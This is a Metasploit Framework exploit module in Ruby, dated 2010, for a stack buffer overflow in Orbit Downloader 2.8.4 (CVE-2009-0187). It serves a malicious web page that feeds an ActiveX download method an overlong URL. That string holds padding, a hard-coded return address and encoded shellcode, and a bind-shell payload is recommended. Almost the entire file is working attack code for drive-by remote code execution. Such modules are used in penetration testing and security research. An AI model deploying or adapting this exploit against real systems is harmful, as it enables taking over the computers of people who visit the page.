##
# $Id: orbit_connecting.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Orbit Downloader Connecting Log Creation Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
attacker serves up a malicious web site, abritrary code may be executed.
The PAYLOAD windows/shell_bind_tcp works best.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2009-0187' ],
[ 'OSVDB', '52294' ],
[ 'BID', '33894' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x09\x0a\x0d'\\&",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2', { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6
],
'DisclosureDate' => 'Feb 3 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"
# Build out the message
content = %Q|<html>
<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
